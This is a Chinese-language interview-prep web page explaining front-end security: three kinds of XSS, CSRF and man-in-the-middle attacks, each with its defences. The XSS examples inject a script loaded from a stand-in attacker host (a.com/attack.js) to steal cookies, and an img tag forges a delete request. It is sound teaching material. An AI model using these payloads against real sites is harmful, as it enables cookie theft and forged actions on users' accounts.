21 lines
29 KiB
HTML
21 lines
29 KiB
HTML
<!doctype html>
|
||
<html lang="en" dir="ltr" class="docs-wrapper docs-doc-page docs-version-current plugin-docs plugin-id-default docs-doc-id-book1/network-security">
|
||
<head>
|
||
<meta charset="UTF-8">
|
||
<meta name="generator" content="Docusaurus v2.3.1">
|
||
<title data-rh="true">前端安全 | HZFE - 剑指前端 Offer</title><meta data-rh="true" name="viewport" content="width=device-width,initial-scale=1"><meta data-rh="true" name="twitter:card" content="summary_large_image"><meta data-rh="true" property="og:url" content="https://febook.hzfe.org/awesome-interview/book1/network-security"><meta data-rh="true" name="docusaurus_locale" content="en"><meta data-rh="true" name="docsearch:language" content="en"><meta data-rh="true" name="docusaurus_version" content="current"><meta data-rh="true" name="docusaurus_tag" content="docs-default-current"><meta data-rh="true" name="docsearch:version" content="current"><meta data-rh="true" name="docsearch:docusaurus_tag" content="docs-default-current"><meta data-rh="true" property="og:title" content="前端安全 | HZFE - 剑指前端 Offer"><meta data-rh="true" name="description" content="相关问题"><meta data-rh="true" property="og:description" content="相关问题"><link data-rh="true" rel="icon" href="/awesome-interview/img/favicon.ico"><link data-rh="true" rel="canonical" href="https://febook.hzfe.org/awesome-interview/book1/network-security"><link data-rh="true" rel="alternate" href="https://febook.hzfe.org/awesome-interview/book1/network-security" hreflang="en"><link data-rh="true" rel="alternate" href="https://febook.hzfe.org/awesome-interview/book1/network-security" hreflang="x-default"><link data-rh="true" rel="preconnect" href="https://PED5MQGL7T-dsn.algolia.net" crossorigin="anonymous"><link rel="search" type="application/opensearchdescription+xml" title="HZFE - 剑指前端 Offer" href="/awesome-interview/opensearch.xml">
|
||
<link rel="manifest" href="/awesome-interview/manifest.json">
|
||
<link rel="preconnect" href="https://hm.baidu.com">
|
||
<script>var _hmt=_hmt||[];!function(){var e=document.createElement("script");e.src="https://hm.baidu.com/hm.js?c7cd0fd77ac518cc6ef46461cdc9524b";var c=document.getElementsByTagName("script")[0];c.parentNode.insertBefore(e,c)}()</script>
|
||
<script src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js" async data-ad-client="ca-pub-9889934432771967"></script>
|
||
<script src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-9889934432771967" async crossorigin="anonymous"></script><link rel="stylesheet" href="/awesome-interview/assets/css/styles.0f62048e.css">
|
||
<link rel="preload" href="/awesome-interview/assets/js/runtime~main.a05aa7a0.js" as="script">
|
||
<link rel="preload" href="/awesome-interview/assets/js/main.55789724.js" as="script">
|
||
</head>
|
||
<body class="navigation-with-keyboard">
|
||
<script>!function(){function t(t){document.documentElement.setAttribute("data-theme",t)}var e=function(){var t=null;try{t=localStorage.getItem("theme")}catch(t){}return t}();t(null!==e?e:"light")}()</script><div id="__docusaurus">
|
||
<div role="region" aria-label="Skip to main content"><a class="skipToContent_fXgn" href="#docusaurus_skipToContent_fallback">Skip to main content</a></div><nav aria-label="Main" class="navbar navbar--fixed-top navbarHideable_m1mJ"><div class="navbar__inner"><div class="navbar__items"><button aria-label="Toggle navigation bar" aria-expanded="false" class="navbar__toggle clean-btn" type="button"><svg width="30" height="30" viewBox="0 0 30 30" aria-hidden="true"><path stroke="currentColor" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M4 7h22M4 15h22M4 23h22"></path></svg></button><a class="navbar__brand" href="/awesome-interview/"><div class="navbar__logo"><img src="/awesome-interview/img/badge.svg" alt="HZFE" class="themedImage_ToTc themedImage--light_HNdA"><img src="/awesome-interview/img/badge.svg" alt="HZFE" class="themedImage_ToTc themedImage--dark_i4oU"></div><b class="navbar__title text--truncate">剑指前端 Offer</b></a></div><div class="navbar__items navbar__items--right"><a href="https://github.com/hzfe/awesome-interview" target="_blank" rel="noopener noreferrer" class="navbar__item navbar__link">GitHub<svg width="13.5" height="13.5" aria-hidden="true" viewBox="0 0 24 24" class="iconExternalLink_nPIU"><path fill="currentColor" d="M21 13v10h-21v-19h12v2h-10v15h17v-8h2zm3-12h-10.988l4.035 4-6.977 7.07 2.828 2.828 6.977-7.07 4.125 4.172v-11z"></path></svg></a><div class="searchBox_ZlJk"><button type="button" class="DocSearch DocSearch-Button" aria-label="Search"><span class="DocSearch-Button-Container"><svg width="20" height="20" class="DocSearch-Search-Icon" viewBox="0 0 20 20"><path d="M14.386 14.386l4.0877 4.0877-4.0877-4.0877c-2.9418 2.9419-7.7115 2.9419-10.6533 0-2.9419-2.9418-2.9419-7.7115 0-10.6533 2.9418-2.9419 7.7115-2.9419 10.6533 0 2.9419 2.9418 2.9419 7.7115 0 10.6533z" stroke="currentColor" fill="none" fill-rule="evenodd" stroke-linecap="round" stroke-linejoin="round"></path></svg><span class="DocSearch-Button-Placeholder">Search</span></span><span class="DocSearch-Button-Keys"></span></button></div></div></div><div role="presentation" class="navbar-sidebar__backdrop"></div></nav><div id="docusaurus_skipToContent_fallback" class="main-wrapper mainWrapper_z2l0 docsWrapper_BCFX"><button aria-label="Scroll back to top" class="clean-btn theme-back-to-top-button backToTopButton_sjWU" type="button"></button><div class="docPage__5DB"><aside class="theme-doc-sidebar-container docSidebarContainer_b6E3"><div class="sidebarViewport_Xe31"><div class="sidebar_njMd sidebarWithHideableNavbar_wUlq"><a tabindex="-1" class="sidebarLogo_isFc" href="/awesome-interview/"><img src="/awesome-interview/img/badge.svg" alt="HZFE" class="themedImage_ToTc themedImage--light_HNdA"><img src="/awesome-interview/img/badge.svg" alt="HZFE" class="themedImage_ToTc themedImage--dark_i4oU"><b>剑指前端 Offer</b></a><nav aria-label="Docs sidebar" class="menu thin-scrollbar menu_SIkG"><ul class="theme-doc-sidebar-menu menu__list"><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-1 menu__list-item"><a class="menu__link" href="/awesome-interview/about">关于我们</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-1 menu__list-item"><a class="menu__link" href="/awesome-interview/">前言</a></li><li class="theme-doc-sidebar-item-category theme-doc-sidebar-item-category-level-1 menu__list-item"><div class="menu__list-item-collapsible"><a class="menu__link menu__link--sublist menu__link--sublist-caret menu__link--active" aria-expanded="true" href="/awesome-interview/book1/browser-cross-origin">模拟题一</a></div><ul style="display:block;overflow:visible;height:auto" class="menu__list"><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/browser-cross-origin">浏览器:浏览器跨域</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/browser-repain-reflow">浏览器:浏览器的重排重绘</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/engineer-webpack-workflow">工程化:webpack 工作流程</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/frame-vue-data-binding">框架:Vue 的数据绑定机制</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/frame-vue-computed-watch">框架:Vue 的 computed 和 watch 的区别</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/js-closures">基础:闭包的作用和原理</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/js-module-specs">基础:前端模块化规范</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/css-bfc">样式:BFC 的形成和作用</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link menu__link--active" aria-current="page" tabindex="0" href="/awesome-interview/book1/network-security">网络:前端安全</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/coding-promise">编码:实现一个符合 Promises/A+ 规范的 Promise</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/algorithm-balanced-binary-trees">算法:平衡二叉树</a></li><li class="theme-doc-sidebar-item-link theme-doc-sidebar-item-link-level-2 menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/topic-enter-url-display-xx">综合:浏览器从输入网址到页面展现的过程</a></li></ul></li><li class="theme-doc-sidebar-item-category theme-doc-sidebar-item-category-level-1 menu__list-item menu__list-item--collapsed"><div class="menu__list-item-collapsible"><a class="menu__link menu__link--sublist menu__link--sublist-caret" aria-expanded="false" href="/awesome-interview/book2/browser-render-mechanism">模拟题二</a></div></li><li class="theme-doc-sidebar-item-category theme-doc-sidebar-item-category-level-1 menu__list-item menu__list-item--collapsed"><div class="menu__list-item-collapsible"><a class="menu__link menu__link--sublist menu__link--sublist-caret" aria-expanded="false" href="/awesome-interview/book3/browser-event-loop">模拟题三</a></div></li><li class="theme-doc-sidebar-item-category theme-doc-sidebar-item-category-level-1 menu__list-item menu__list-item--collapsed"><div class="menu__list-item-collapsible"><a class="menu__link menu__link--sublist menu__link--sublist-caret" aria-expanded="false" href="/awesome-interview/book4/browser-router">模拟题四</a></div></li></ul></nav><button type="button" title="Collapse sidebar" aria-label="Collapse sidebar" class="button button--secondary button--outline collapseSidebarButton_PEFL"><svg width="20" height="20" aria-hidden="true" class="collapseSidebarButtonIcon_kv0_"><g fill="#7a7a7a"><path d="M9.992 10.023c0 .2-.062.399-.172.547l-4.996 7.492a.982.982 0 01-.828.454H1c-.55 0-1-.453-1-1 0-.2.059-.403.168-.551l4.629-6.942L.168 3.078A.939.939 0 010 2.528c0-.548.45-.997 1-.997h2.996c.352 0 .649.18.828.45L9.82 9.472c.11.148.172.347.172.55zm0 0"></path><path d="M19.98 10.023c0 .2-.058.399-.168.547l-4.996 7.492a.987.987 0 01-.828.454h-3c-.547 0-.996-.453-.996-1 0-.2.059-.403.168-.551l4.625-6.942-4.625-6.945a.939.939 0 01-.168-.55 1 1 0 01.996-.997h3c.348 0 .649.18.828.45l4.996 7.492c.11.148.168.347.168.55zm0 0"></path></g></svg></button></div></div></aside><main class="docMainContainer_gTbr"><div class="container padding-top--md padding-bottom--lg"><button class="chatbox-button">Answer Bot</button><div class="row"><div class="col docItemCol_VOVn"><div class="docItemContainer_Djhp"><article><nav class="theme-doc-breadcrumbs breadcrumbsContainer_Z_bl" aria-label="Breadcrumbs"><ul class="breadcrumbs" itemscope="" itemtype="https://schema.org/BreadcrumbList"><li class="breadcrumbs__item"><a aria-label="Home page" class="breadcrumbs__link" href="/awesome-interview/"><svg viewBox="0 0 24 24" class="breadcrumbHomeIcon_YNFT"><path d="M10 19v-5h4v5c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-7h1.7c.46 0 .68-.57.33-.87L12.67 3.6c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87H5v7c0 .55.45 1 1 1h3c.55 0 1-.45 1-1z" fill="currentColor"></path></svg></a></li><li class="breadcrumbs__item"><span class="breadcrumbs__link">模拟题一</span><meta itemprop="position" content="1"></li><li itemscope="" itemprop="itemListElement" itemtype="https://schema.org/ListItem" class="breadcrumbs__item breadcrumbs__item--active"><span class="breadcrumbs__link" itemprop="name">网络:前端安全</span><meta itemprop="position" content="2"></li></ul></nav><div class="tocCollapsible_ETCw theme-doc-toc-mobile tocMobile_ITEo"><button type="button" class="clean-btn tocCollapsibleButton_TO0P">On this page</button></div><div class="theme-doc-markdown markdown"><h1>前端安全</h1><h2 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="相关问题">相关问题<a href="#相关问题" class="hash-link" aria-label="Direct link to 相关问题" title="Direct link to 相关问题"></a></h2><ul><li>如何防范 XSS / CSRF 攻击</li><li>说说 HTTPS 中间人攻击,及其如何防范</li></ul><h2 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="回答关键点">回答关键点<a href="#回答关键点" class="hash-link" aria-label="Direct link to 回答关键点" title="Direct link to 回答关键点"></a></h2><p><code>XSS</code> <code>CSRF</code> <code>中间人攻击</code></p><ul><li><strong>XSS(跨站脚本攻击)</strong> 是指攻击者利用网站漏洞将代码注入到其他用户浏览器的攻击方式。常见类型有:<ul><li><strong>反射型(非持久性)</strong></li><li><strong>存储型(持久性)</strong></li><li><strong>DOM 型</strong></li></ul></li><li><strong>CSRF(跨站请求伪造)</strong> 是指攻击者可以在用户不知情的情况下,窃用其身份在对应的网站进行操作。</li><li><strong>中间人攻击(MITM)</strong> 是指攻击者与通讯的两端分别创建独立的联系,在通讯中充当一个中间人角色对数据进行监听、拦截甚至篡改。</li></ul><h2 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="知识点深入">知识点深入<a href="#知识点深入" class="hash-link" aria-label="Direct link to 知识点深入" title="Direct link to 知识点深入"></a></h2><h3 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="1-xss跨站脚本攻击">1. XSS(跨站脚本攻击)<a href="#1-xss跨站脚本攻击" class="hash-link" aria-label="Direct link to 1. XSS(跨站脚本攻击)" title="Direct link to 1. XSS(跨站脚本攻击)"></a></h3><h4 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="11-反射型非持久性">1.1 反射型(非持久性)<a href="#11-反射型非持久性" class="hash-link" aria-label="Direct link to 1.1 反射型(非持久性)" title="Direct link to 1.1 反射型(非持久性)"></a></h4><p><strong>原理</strong>:攻击者通过在 URL 插入恶意代码,其他用户访问该恶意链接时,服务端在 URL 取出恶意代码后拼接至 HTML 中返回给用户浏览器。</p><p><strong>要点</strong>:</p><ul><li>通过 URL 插入恶意代码。</li><li>有服务端参与。</li><li>需要用户访问特定链接。</li></ul><p><strong>例子</strong>:</p><p>攻击者诱导被害者打开链接 <code>hzfe.org?name=<script src="http://a.com/attack.js"/></code>。</p><p>被攻击网站服务器收到请求后,未经处理直接将 URL 的 name 字段直接拼接至前端模板中,并返回数据。</p><p>被害者在不知情的情况下,执行了攻击者注入的脚本(可以通过这个获取对方的 Cookie 等)。</p><h4 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="12-存储型持久性">1.2 存储型(持久性)<a href="#12-存储型持久性" class="hash-link" aria-label="Direct link to 1.2 存储型(持久性)" title="Direct link to 1.2 存储型(持久性)"></a></h4><p><strong>原理</strong>:攻击者将注入型脚本提交至被攻击网站数据库中,当其他用户浏览器请求数据时,注入脚本从服务器返回并执行。</p><p><strong>要点</strong>:</p><ul><li>恶意代码存储在目标网站服务器上。</li><li>有服务端参与。</li><li>只要用户访问被注入恶意脚本的页面时,就会被攻击。</li></ul><p><strong>例子</strong>:</p><p>攻击者在目标网站留言板中提交了<code><script src="http://a.com/attack.js"/></code>。</p><p>目标网站服务端未经转义存储了恶意代码,前端请求到数据后直接通过 innerHTML 渲染到页面中。</p><p>其他用户在访问该留言板时,会自动执行攻击者注入脚本。</p><h4 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="13-dom-型">1.3 DOM 型<a href="#13-dom-型" class="hash-link" aria-label="Direct link to 1.3 DOM 型" title="Direct link to 1.3 DOM 型"></a></h4><p><strong>原理</strong>:攻击者通过在 URL 插入恶意代码,客户端脚本取出 URL 中的恶意代码并执行。</p><p><strong>要点</strong>:</p><ul><li>在客户端发生。</li></ul><p><strong>例子</strong>:</p><p>攻击者诱导被害者打开链接 <code>hzfe.org?name=<script src="http://a.com/attack.js"/></code>。</p><p>被攻击网站前端取出 URL 的 name 字段后未经转义直接通过 innerHTML 渲染到页面中。</p><p>被害者在不知情的情况下,执行了攻击者注入的脚本。</p><h4 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="14-防范-xss">1.4 防范 XSS<a href="#14-防范-xss" class="hash-link" aria-label="Direct link to 1.4 防范 XSS" title="Direct link to 1.4 防范 XSS"></a></h4><ul><li>对于外部传入的内容进行充分转义。</li><li>开启 CSP(Content Security Policy,内容安全策略),规定客户端哪些外部资源可以加载和执行,降低 XSS 风险。</li><li>设置 Cookie httpOnly 属性,禁止 JavaScript 读取 Cookie 防止被窃取。</li></ul><h3 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="2-csrf跨站请求伪造">2. CSRF(跨站请求伪造)<a href="#2-csrf跨站请求伪造" class="hash-link" aria-label="Direct link to 2. CSRF(跨站请求伪造)" title="Direct link to 2. CSRF(跨站请求伪造)"></a></h3><p><strong>原理</strong>:攻击者诱导受害者进入第三方网站,在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的身份凭证,达到冒充用户对被攻击的网站执行某项操作的目的。</p><p><strong>要点</strong>:</p><ul><li>利用浏览器在发送 HTTP 请求时会自动带上 Cookie 的原理,冒用受害者身份请求。</li><li>攻击一般发生在第三方网站上。</li><li>攻击者只能“冒用”受害者的身份凭证,并不能获取。</li><li>跨站请求有多种方式,常见的有图片 URL、超链接、Form 提交等。</li></ul><p><strong>例子</strong>:</p><p>攻击者在第三方网站上放置一个如下的 img</p><div class="language-html codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_biex"><pre tabindex="0" class="prism-code language-html codeBlock_bY9V thin-scrollbar"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token tag punctuation" style="color:#393A34"><</span><span class="token tag" style="color:#00009f">img</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">src</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">http://hzfe.org/article/delete</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag punctuation" style="color:#393A34">/></span><br></span></code></pre><div class="buttonGroup__atx"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_eSgA" aria-hidden="true"><svg class="copyButtonIcon_y97N" viewBox="0 0 24 24"><path d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg class="copyButtonSuccessIcon_LjdS" viewBox="0 0 24 24"><path d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div><p>受害者访问该页面后(前提:受害者在 hzfe.org 登录过且产生了 Cookie 信息),浏览器会自动发起这个请求,hzfe.org 就会收到包含受害者身份凭证的一次跨域请求。</p><p>若目标网站没有任何防范措施,那攻击者就能冒充受害者完成这一次请求操作。</p><p><strong>防范</strong>:</p><ul><li>使用 CSRF Token 验证用户身份<ul><li>原理:服务端生成 CSRF Token (通常存储在 Session 中),用户提交请求时携带上 Token,服务端验证 Token 是否有效。</li><li>优点:能比较有效的防御 CSRF (前提是没有 XSS 漏洞泄露 Token)。</li><li>缺点:大型网站中 Session 存储会增加服务器压力,且若使用分布式集群还需要一个公共存储空间存储 Token,否则可能用户请求到不同服务器上导致用户凭证失效;有一定的工作量。</li></ul></li><li>双重 Cookie 验证<ul><li>原理:利用攻击者不能获取到 Cookie 的特点,在 URL 参数或者自定义请求头上带上 Cookie 数据,服务器再验证该数据是否与 Cookie 一致。</li><li>优点:无需使用 Session,不会给服务器压力。</li></ul></li><li>设置 Cookie 的 SameSite 属性可以用来限制第三方 Cookie 的使用,可选值有 Strict、Lax、None。<ul><li>Strict:完全禁止第三方 Cookie。</li><li>Lax:只允许链接、预加载请求和 GET 表单的场景下发送第三方 Cookie。</li><li>None:关闭 SameSite 属性。</li></ul></li><li>设置白名单,仅允许安全域名请求</li><li>增加验证码验证</li></ul><h3 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="3-中间人攻击mitm">3. 中间人攻击(MITM)<a href="#3-中间人攻击mitm" class="hash-link" aria-label="Direct link to 3. 中间人攻击(MITM)" title="Direct link to 3. 中间人攻击(MITM)"></a></h3><p><strong>原理</strong>:中间人攻击是一种通过各种技术手段入侵两台设备通信的网络攻击方法。</p><p><img loading="lazy" src="https://user-images.githubusercontent.com/13888962/126036193-20b08345-f37d-40ff-9c76-c9c0993f5068.png" alt="man in the middle mitm attack" class="img_ev3q"></p><blockquote><p>图片来源 <a href="https://www.imperva.com/learn/application-security/man-in-the-middle-attack-mitm/" target="_blank" rel="noopener noreferrer">Man in the middle (MITM) attack</a></p></blockquote><p>成功的中间人攻击主要有两个不同的阶段:<strong>拦截</strong>和<strong>解密</strong>。</p><h4 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="31-拦截">3.1 拦截<a href="#31-拦截" class="hash-link" aria-label="Direct link to 3.1 拦截" title="Direct link to 3.1 拦截"></a></h4><p>即攻击者需要用户数据在到达目标设备前拦截并通过攻击者的网络。分为被动攻击和主动攻击。</p><p>常见的被动攻击(也是最简单)的方法,攻击者向公众提供免费的恶意 WiFi 热点,一旦有受害者连接了该热点,攻击者就能完全了解其所有的在线数据交换。</p><p>常见的主动攻击有两种:</p><ol><li><strong>ARP 欺骗:</strong> 攻击者利用 ARP 的漏洞,通过冒充网关或其他主机,使得到达网关或其他主机的流量通过攻击者主机进行转发。</li><li><strong>DNS 欺骗:</strong> 攻击者冒充域名服务器,将受害者查询的 IP 地址转发到攻击者的 IP 地址。</li></ol><h4 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="32-解密">3.2 解密<a href="#32-解密" class="hash-link" aria-label="Direct link to 3.2 解密" title="Direct link to 3.2 解密"></a></h4><p>拦截后,若连接是使用 HTTPS 协议即传递的数据用了 SSL / TLS 加密,这时还需要其他手段去解密用户数据。</p><p><strong>SSL 劫持(伪造证书)</strong></p><p>攻击者在 TLS 握手期间拦截到服务器返回的公钥后,将服务器的公钥替换成自己的公钥并返回给客户端,这样攻击者就能用自己的私钥去解密用户数据,也可以用服务器公钥解密服务器数据。</p><p>因为是伪造的证书,所以客户端在校验证书过程中会提示证书错误,若用户仍选择继续操作,此时中间人便能获取与服务端的通信数据。</p><p><strong>SSL 剥离</strong></p><p>攻击者拦截到用户到服务器的请求后,攻击者继续和服务器保持 HTTPS 连接,并与用户降级为不安全的 HTTP 连接。</p><p>服务器可以通过开启 HSTS(HTTP Strict Transport Security)策略,告知浏览器必须使用 HTTPS 连接。但是有个缺点是用户首次访问时因还未收到 HSTS 响应头而不受保护。</p><h4 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="33-中间人攻击防范">3.3 中间人攻击防范<a href="#33-中间人攻击防范" class="hash-link" aria-label="Direct link to 3.3 中间人攻击防范" title="Direct link to 3.3 中间人攻击防范"></a></h4><p>对于开发者来说:</p><ul><li>支持 HTTPS。</li><li>开启 HSTS 策略。</li></ul><p>对于用户来说:</p><ul><li>尽可能使用 HTTPS 链接。</li><li>避免连接不知名的 WiFi 热点。</li><li>不忽略不安全的浏览器通知。</li><li>公共网络不进行涉及敏感信息的交互。</li><li>用可信的第三方 CA 厂商,不下载来源不明的证书。</li></ul><h2 class="anchor anchorWithHideOnScrollNavbar_WYt5" id="参考资料">参考资料<a href="#参考资料" class="hash-link" aria-label="Direct link to 参考资料" title="Direct link to 参考资料"></a></h2><ol><li><a href="https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting" target="_blank" rel="noopener noreferrer">Cross-site scripting</a></li><li><a href="https://www.imperva.com/learn/application-security/man-in-the-middle-attack-mitm/" target="_blank" rel="noopener noreferrer">Man in the middle (MITM) attack</a></li></ol></div></article><nav class="pagination-nav docusaurus-mt-lg" aria-label="Docs pages navigation"><a class="pagination-nav__link pagination-nav__link--prev" href="/awesome-interview/book1/css-bfc"><div class="pagination-nav__sublabel">Previous</div><div class="pagination-nav__label">样式:BFC 的形成和作用</div></a><a class="pagination-nav__link pagination-nav__link--next" href="/awesome-interview/book1/coding-promise"><div class="pagination-nav__sublabel">Next</div><div class="pagination-nav__label">编码:实现一个符合 Promises/A+ 规范的 Promise</div></a></nav></div></div><div class="col col--3"><div class="tableOfContents_bqdL thin-scrollbar theme-doc-toc-desktop"><ul class="table-of-contents table-of-contents__left-border"><li><a href="#相关问题" class="table-of-contents__link toc-highlight">相关问题</a></li><li><a href="#回答关键点" class="table-of-contents__link toc-highlight">回答关键点</a></li><li><a href="#知识点深入" class="table-of-contents__link toc-highlight">知识点深入</a><ul><li><a href="#1-xss跨站脚本攻击" class="table-of-contents__link toc-highlight">1. XSS(跨站脚本攻击)</a><ul><li><a href="#11-反射型非持久性" class="table-of-contents__link toc-highlight">1.1 反射型(非持久性)</a></li><li><a href="#12-存储型持久性" class="table-of-contents__link toc-highlight">1.2 存储型(持久性)</a></li><li><a href="#13-dom-型" class="table-of-contents__link toc-highlight">1.3 DOM 型</a></li><li><a href="#14-防范-xss" class="table-of-contents__link toc-highlight">1.4 防范 XSS</a></li></ul></li><li><a href="#2-csrf跨站请求伪造" class="table-of-contents__link toc-highlight">2. CSRF(跨站请求伪造)</a></li><li><a href="#3-中间人攻击mitm" class="table-of-contents__link toc-highlight">3. 中间人攻击(MITM)</a><ul><li><a href="#31-拦截" class="table-of-contents__link toc-highlight">3.1 拦截</a></li><li><a href="#32-解密" class="table-of-contents__link toc-highlight">3.2 解密</a></li><li><a href="#33-中间人攻击防范" class="table-of-contents__link toc-highlight">3.3 中间人攻击防范</a></li></ul></li></ul></li><li><a href="#参考资料" class="table-of-contents__link toc-highlight">参考资料</a></li></ul></div></div></div><div class="row"><div class="col"><div class="react-utterences"><div>Loading script...</div></div></div><div class="col col--3"></div><div class="chatbox-container" style="height:0"><div style="flex-grow:1;padding:0 10%"><iframe src="https://interview-book-ai.hzfe.org" height="100%" width="100%"></iframe></div></div></div></div></main></div></div></div>
|
||
<script src="/awesome-interview/assets/js/runtime~main.a05aa7a0.js"></script>
|
||
<script src="/awesome-interview/assets/js/main.55789724.js"></script>
|
||
</body>
|
||
</html> |